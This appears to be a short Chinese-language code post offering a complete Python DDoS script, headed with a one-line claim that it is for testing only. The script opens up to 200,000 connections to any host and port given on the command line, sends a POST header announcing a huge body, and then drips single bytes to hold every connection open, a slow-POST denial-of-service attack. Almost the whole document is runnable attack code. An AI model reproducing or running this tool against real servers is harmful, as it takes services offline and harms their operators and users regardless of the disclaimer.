[python]DDOS脚本

代码仅用于测试

#!/usr/bin/env python
import socket
import time
import threading
import sys


# 检查命令行参数
if len(sys.argv) < 2:
    print("用法: python ddos.py <host> <port>")
    sys.exit(1)
# ---------------------------
MAX_CONN = 200000
HOST = sys.argv[1]
PORT = int(sys.argv[2])
PAGE = "/"
# ---------------------------
    
buf = ("POST %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "Content-Length: 10000000\r\n"
       "Cookie: dklkt_dos_test\r\n"
       "\r\n" % (PAGE, HOST))
socks = []
def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(buf.encode("utf-8"))
            print("Send buf OK!,conn=%d\n" % i)
            socks.append(s)
        except Exception as ex:
            print("Could not connect to server or send error:%s" % ex)
            time.sleep(1)

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode("utf-8"))
                print("send f OK!")
            except Exception as ex:
                print("Send Exception:%s\n" % ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)
    
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
    
conn_th.start()
send_th.start()